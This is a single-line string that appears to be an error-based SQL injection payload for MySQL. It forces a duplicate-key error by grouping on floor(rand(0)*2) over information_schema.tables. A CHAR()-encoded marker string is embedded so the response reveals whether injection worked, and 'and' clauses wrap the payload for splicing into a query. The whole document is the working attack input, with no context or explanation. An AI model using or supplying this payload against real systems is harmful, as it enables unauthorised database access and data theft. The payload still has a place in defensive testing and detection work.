"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(87),CHAR(110),CHAR(89),CHAR(82),CHAR(105),CHAR(56),CHAR(79),CHAR(103)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"